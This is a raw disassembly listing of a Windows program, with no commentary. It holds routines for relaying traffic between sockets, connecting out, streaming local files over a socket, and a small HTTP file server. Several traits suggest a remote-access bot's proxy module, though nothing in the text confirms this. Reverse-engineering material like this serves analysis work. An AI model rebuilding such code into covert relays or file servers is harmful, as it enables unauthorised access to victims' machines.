		shl	eax, 6
		inc	dword_431410[eax]
		push	ebx
		lea	eax, dword_431410[eax]
		call	near ptr 71AB1A6Dh
		nop
		push	1
		pop	eax
		jmp	short loc_40E470
; ---------------------------------------------------------------------------


loc_40E467:				; CODE XREF: ___:0040E284j
					; ___:0040E2A9j ...
		push	ebx
		nop
		call	near ptr 71AB1A6Dh


loc_40E46E:				; CODE XREF: ___:0040E26Ej
		xor	eax, eax


loc_40E470:				; CODE XREF: ___:0040E465j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E47E:				; CODE XREF: ___:0040E49Aj
					; ___:0040E4B6j
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CDCB4
		call	dword_4CAF8C
		test	eax, eax
		jle	short loc_40E47E
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CDCB0
		nop
		call	near ptr 26D0000h
		jmp	short loc_40E47E
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E4C1:				; CODE XREF: ___:0040E4E7j
					; ___:0040E501j
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CDCA4
		nop
		call	near ptr 26E0000h
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40E4C1
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CDCB4
		call	dword_4CAFC4
		jmp	short loc_40E4C1
; ---------------------------------------------------------------------------
byte_40E503	db 55h			; DATA XREF: sub_401ACD+2D0Do
dword_40E504	dd 0EC81EC8Bh, 11Ch, 5308458Bh,	286A5756h, 8D59F08Bh, 0FFFEE4BDh
		dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh
		dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h
		dd 7415FFFFh, 6A004CAFh, 26A5606h, 0CA458966h, 0AFF415FFh
		dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CAFA0h
		dd 75FF056Ah, 9C15FF08h, 8B004CAFh, 4270FC1Dh, 68358B00h
		dd 57004270h, 875FF57h,	0B00815FFh, 0B4A3004Ch,	8D004CDCh
		dd 5057F445h, 4CDCB068h, 0DCAC6800h, 45C7004Ch,	0CF4h
		dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 0A8685057h, 68004CDCh
		dd 4CDCA4h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 0ACA10000h
		dd 83004CDCh, 45890CC4h, 0DCA8A1BCh, 4589004Ch,	16A57C0h
		dd 6AC4458Dh, 45C75002h, 4484h,	0B045C700h, 101h, 0B47D8966h
		dd 1F49E890h, 0FF50022Eh, 4CDCA835h, 3CE89000h,	50022E1Fh
		dd 2E19E7E8h, 458D9002h, 458D50D8h, 57575084h, 9068h, 0F4458D04h
		dd 8D50016Ah, 6850F445h, 43350Ch, 0A8E89057h, 8D022324h
		dd 5750E845h, 0E4B86857h, 458D0040h, 905057F4h,	251F28E8h
		dd 0EC458902h, 50E8458Dh, 75685757h, 8D0040E4h,	5057F445h
		dd 1F0FE890h, 0FF6A0225h, 0FFF04589h, 0BE8D875h, 9002261Fh
		dd 0F075FF57h, 25C2E890h, 0FF570226h, 0E890EC75h, 22625B8h
		dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 0E890D875h, 22D2402h
		dd 0DCAC35FFh, 0D6FF004Ch, 0DCB035FFh, 0D6FF004Ch, 0DCA435FFh
		dd 0D6FF004Ch, 0DCA835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h
		dd 0B0E9D6FFh, 0E9FFFFFEh, 0
; ---------------------------------------------------------------------------
		push	0FFFEh
		push	400h
		call	sub_418684
		pop	ecx
		mov	dword_4CDCBC, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
byte_40E6EF	db 55h			; DATA XREF: sub_40BACD+34Do
		dd 0EC81EC8Bh, 6C0h, 5308458Bh,	276A5756h, 8D59F08Bh, 0FFFF50BDh
		dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh
		dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h
		dd 7415FFFFh, 53004CAFh, 66026A56h, 89EE4589h, 15FFF05Dh
		dd 4CAFF4h, 0CE83F88Bh,	75FE3BFFh, 0E45D3945h, 8D532075h
		dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh
		dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h
		dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 2B186BE8h
		dd 858B9002h, 0FFFFFF54h, 0C069106Ah, 234h, 0DEBCB889h
		dd 458D0043h, 0FF5750ECh, 4CAFA015h, 0BBC63B00h, 400h
		dd 0CF850Fh, 15FF0000h,	4CAF08h, 27403Dh, 33477400h, 0E47539F6h
		dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh
		dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h,	0FFFFFD40h
		dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh
		dd 17EAE890h, 0FE68022Bh, 530000FFh, 9E63E8h, 0BCA35900h
		dd 59004CDCh, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CAFA015h
		dd 75C63B00h, 815FF54h,	33004CAFh, 0E47539F6h, 403D2775h
		dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh,	0FF60858Dh
		dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h
		dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah
		dd 90565959h, 2B176FE8h, 57056A02h, 0AF9C15FFh,	0C63B004Ch
		dd 0D4840Fh, 45C70000h,	10FCh, 9108BE00h, 458D0042h, 858D50FCh
		dd 0FFFFFF40h, 15FF5750h, 4CB008h, 89FFF883h, 0E6740845h
		dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h
		dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh
		dd 20068h, 75FF5000h, 8C15FF08h, 83004CAFh, 9674FFF8h
		dd 35FF5656h, 4CACB0h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h
		dd 35146850h, 858D0043h, 0FFFFF940h, 41E85053h,	830000D0h
		dd 858D1CC4h, 0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h
		dd 0FFFFF940h, 875FF50h, 0AFC415FFh, 0F883004Ch, 43840FFFh
		dd 0FFFFFFFFh, 4CDCC405h, 0FF38E900h, 0FF57FFFFh, 4CB00C15h
		dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 90006A59h, 2B166FE8h
		db 2
byte_40E991	db 55h,	8Bh, 0ECh	; DATA XREF: sub_40BACD+22Ao
		dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah,	8B000000h
		dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh
		dd 1016850h, 5D890000h,	0D45D89E4h, 89DC5D89h, 0FFFDD4B5h
		dd 0C4B589FFh, 0E8FFFFFBh, 716A57FAh, 6A535690h, 37E89002h
		dd 8B716A52h, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh
		dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh
		dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 37E85780h, 90716A2Bh
		dd 0ACB0A166h, 6583004Ch, 665000B8h, 2B445C7h, 7415FF00h
		dd 66004CAFh, 8DB64589h, 106AB445h, 83E85750h, 90716A54h
		dd 77DC085h, 60E9C38Bh,	6A000005h, 83E8570Ah, 90716A73h
		dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh
		dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h
		dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 0E85040FCh, 716A2DF4h
		dd 0FFF88390h, 50E840Fh, 0FF330000h, 89FC7539h,	0C57C087Dh
		dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h
		dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h
		dd 0E85750FFh, 17C76h, 840FC085h, 4BAh,	75F87D3Bh, 0F0458D7Ah
		dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 86E8F875h
		dd 90716A9Bh, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h
		dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h
		dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh
		dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h
		dd 56FC4589h, 0DC68156Ah, 50004337h, 3BE9D3FFh,	56000004h
		dd 0FD60858Dh, 646AFFFFh, 0E8905750h, 716A6B18h, 527FC085h
		dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh
		dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah,	8D848D1Bh
		dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h
		dd 0EC72CA3Bh, 0FDD48DFFh, 9057FFFFh, 6A2EA4E8h, 3D4E971h
		dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh,	0FD60858Dh
		dd 0D468FFFFh, 50004337h, 0DA58E8h, 50858D00h, 68FFFFFFh
		dd 4337CCh, 0D472E850h,	0C4830000h, 75C08518h, 166A560Dh
		dd 4337B468h, 82E900h, 858D0000h, 0FFFFFF50h, 4337AC68h
		dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 43379468h
		dd 8D61EB00h, 0FFFF5085h, 378C68FFh, 0E8500043h, 0D42Ch
		dd 59C08559h, 6A560A75h, 377C680Dh, 40EB0043h, 0FF50858Dh
		dd 7468FFFFh, 50004337h, 0D40BE8h, 0C0855900h, 560A7559h
		dd 6068106Ah, 0EB004337h, 50858D1Fh, 68FFFFFFh,	43375Ch
		dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h,	43373Ch
		dd 2F1E957h, 34BF0000h,	8D004337h, 0FFFF5085h, 0E85057FFh
		dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 43373068h
		dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh,	43371C68h
		dd 2B2E900h, 858D0000h,	0FFFFFF50h, 8DE85057h, 590000D3h
		dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433718h, 0D376E850h
		dd 85590000h, 0D7559C0h, 68136A56h, 433704h, 27BE9h, 50858D00h
		dd 68FFFFFFh, 4336FCh, 0D352E850h, 85590000h, 347559C0h
		dd 0D0BE0A6Ah, 59004336h, 0FED8BD8Dh, 0A5F3FFFFh, 0D8858D50h
		dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h,	50FFFFFEh
		dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 0C868FFFFh
		dd 50004336h, 0D307E8h,	0C0855900h, 6A2A7559h, 36B0BE05h
		dd 8D590043h, 0FFFF38BDh, 66A5F3FFh, 858D50A5h,	0FFFFFF38h
		dd 51E8A450h, 590000C2h, 38858D50h, 0EBFFFFFFh,	50858DB2h
		dd 68FFFFFFh, 4336A8h, 0D2C6E850h, 85590000h, 850F59C0h
		dd 0B6h, 0FD2C858Dh, 8D50FFFFh,	0FFFF0485h, 458D50FFh
		dd 458D50ECh, 458D50E8h, 458D50E0h, 858D50D8h, 0FFFFFD60h
		dd 43368068h, 62E85000h, 8D0000D8h, 0FFFF0485h,	8AE850FFh
		dd 8B0000C9h, 2C858DF8h, 50FFFFFDh, 0C97CE8h, 0F4458900h
		dd 858D326Ah, 0FFFFFF04h, 81E85056h, 830000C7h,	858D34C4h
		dd 0FFFFFF04h, 57F475FFh, 43367868h, 5FE85000h,	6A0000CAh
		dd 4858D10h, 56FFFFFFh,	0CF8FE850h, 0C4830000h,	0F445891Ch
		dd 50EC458Dh, 50E8458Dh, 50E0458Dh, 50D8458Dh, 68C4458Dh
		dd 43366Ch, 0CA2CE850h,	0C4830000h, 1D6A5618h, 43364C68h
		dd 11EE900h, 858D0000h,	0FFFFFF50h, 43364468h, 0F5E85000h
		dd 590000D1h, 0F59C085h, 0E485h, 286A5600h, 43361868h
		dd 875FF00h, 75FFD3FFh,	0C4458DF4h, 120E850h, 83590000h
		dd 0F5901F8h, 0B685h, 0C4458D00h, 20858D50h, 68FFFFF7h
		dd 4335FCh, 0C9C8E850h,	0C4830000h, 0BCB5390Ch,	75FFFFFBh
		dd 858D5623h, 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h
		dd 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h, 14C483FFh, 14AE8h
		dd 1F88300h, 93850Fh, 6A560000h, 35E46817h, 75FF0043h
		dd 8DD3FF08h, 8D50C445h, 0FFF72085h, 35C468FFh,	0E8500043h
		dd 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh, 0F720858Dh
		dd 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh, 0F920B5FFh
		dd 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h,	6256E850h
		dd 5FF0000h, 4CDA80h, 562EEB59h, 0A068206Ah, 0EB004335h
		dd 50858D1Fh, 68FFFFFFh, 42C98Ch, 0D0F6E850h, 85590000h
		dd 0D7559C0h, 681B6A56h, 433584h, 0FF0875FFh, 8D646AD3h
		dd 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh, 3B470CC4h
		dd 7D89FC7Dh, 18E0F08h,	0E9FFFFFBh, 0FFFFFAC1h,	5F58016Ah
		dd 0C2C95B5Eh
		db 4, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		nop
		call	near ptr 71AB41DAh
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		push	dword ptr [ebp+8]
		mov	dword_4CDCC8, eax
		mov	word ptr [ebp-10h], 2
		call	near ptr 71AB12F8h
		nop
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CDCC8
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F036
		push	dword_4CDCC8
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F036:				; CODE XREF: ___:0040F01Ej
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2650000h
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40F0D2
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40F0B6
		push	edi
		mov	edi, 400h


loc_40F07E:				; CODE XREF: ___:0040F0B3j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B11A
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CDCC8
		nop
		call	near ptr 71AB1AF4h
		push	1
		nop
		call	near ptr 2660545h
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40F07E
		pop	edi


loc_40F0B6:				; CODE XREF: ___:0040F076j
		push	esi
		call	sub_41B05B
		pop	ecx
		push	dword_4CDCC8
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		nop
		push	1
		pop	eax


loc_40F0D2:				; CODE XREF: ___:0040F070j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0D5	proc near		; DATA XREF: sub_401ACD+2283o
					; sub_40BACD+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CAF74
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CAFF4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40F4C0
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43DEBC[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CAFA0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		push	7FFFFFFFh
		push	edi
		call	dword_4CAF9C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CB010
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40F1AC:				; CODE XREF: sub_40F0D5+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CAF5C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4BB
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40F1E2:				; CODE XREF: sub_40F0D5+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CAE60
		test	eax, eax
		jz	loc_40F4A6
		cmp	esi, [ebp+var_C]
		jnz	short loc_40F264
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4A6
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F236
		lea	edx, [ebp+var_134]


loc_40F22A:				; CODE XREF: sub_40F0D5+15Fj
		cmp	[edx], eax
		jz	short loc_40F236
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40F22A


loc_40F236:				; CODE XREF: sub_40F0D5+14Dj
					; sub_40F0D5+157j
		cmp	ecx, ebx
		jnz	short loc_40F253
		cmp	ebx, 40h
		jnb	short loc_40F253
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40F253:				; CODE XREF: sub_40F0D5+163j
					; sub_40F0D5+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40F4A6
		mov	[ebp+var_8], eax
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F264:				; CODE XREF: sub_40F0D5+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CAF8C
		test	eax, eax
		jg	short loc_40F2F7
		push	esi
		call	dword_4CB00C
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40F4A6
		lea	eax, [ebp+var_134]


loc_40F2B6:				; CODE XREF: sub_40F0D5+1EBj
		cmp	[eax], esi
		jz	short loc_40F2C7
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F2B6
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F2C7:				; CODE XREF: sub_40F0D5+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F2EB
		lea	eax, [ebp+ecx*4+var_134]


loc_40F2D5:				; CODE XREF: sub_40F0D5+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F2D5


loc_40F2EB:				; CODE XREF: sub_40F0D5+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F2F7:				; CODE XREF: sub_40F0D5+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40F4A6


loc_40F325:				; CODE XREF: sub_40F0D5+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40F3CA
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F39E
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41AFE0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40F39E
		mov	eax, offset asc_42CA2C ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C0F4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41BEB0
		add	esp, 10h
		jmp	short loc_40F3B5
; ---------------------------------------------------------------------------


loc_40F39E:				; CODE XREF: sub_40F0D5+27Fj
					; sub_40F0D5+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_43381C ; "\r\n"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3E9


loc_40F3B5:				; CODE XREF: sub_40F0D5+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40F3CA:				; CODE XREF: sub_40F0D5+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41AFE0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40F325
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F3E9:				; CODE XREF: sub_40F0D5+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F433
		lea	eax, [ebp+var_134]


loc_40F3F5:				; CODE XREF: sub_40F0D5+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40F406
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F3F5
		jmp	short loc_40F436
; ---------------------------------------------------------------------------


loc_40F406:				; CODE XREF: sub_40F0D5+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F42A
		lea	eax, [ebp+ecx*4+var_134]


loc_40F414:				; CODE XREF: sub_40F0D5+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F414


loc_40F42A:				; CODE XREF: sub_40F0D5+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40F436
; ---------------------------------------------------------------------------


loc_40F433:				; CODE XREF: sub_40F0D5+318j
		mov	esi, [ebp+var_4]


loc_40F436:				; CODE XREF: sub_40F0D5+32Fj
					; sub_40F0D5+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40F49F
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40F49F
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB010
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_40F6B3
		add	esp, 14h
		jmp	short loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F49F:				; CODE XREF: sub_40F0D5+369j
					; sub_40F0D5+38Fj
		push	esi
		call	dword_4CB00C


loc_40F4A6:				; CODE XREF: sub_40F0D5+11Dj
					; sub_40F0D5+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40F1E2
		jmp	loc_40F1AC
; ---------------------------------------------------------------------------


loc_40F4BB:				; CODE XREF: sub_40F0D5+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40F4C0:				; CODE XREF: sub_40F0D5+6Aj
					; sub_40F0D5+92j ...
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4337F4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40F506
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409A72
		add	esp, 14h


loc_40F506:				; CODE XREF: sub_40F0D5+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB00C
		push	[ebp+var_254]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26C0000h
		pop	edi
		pop	esi
		pop	ebx
sub_40F0D5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F530	proc near		; DATA XREF: sub_40F6B3+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41B886
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40F596
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40F59B
; ---------------------------------------------------------------------------


loc_40F596:				; CODE XREF: sub_40F530+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40F59B:				; CODE XREF: sub_40F530+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41B886
		pop	ecx
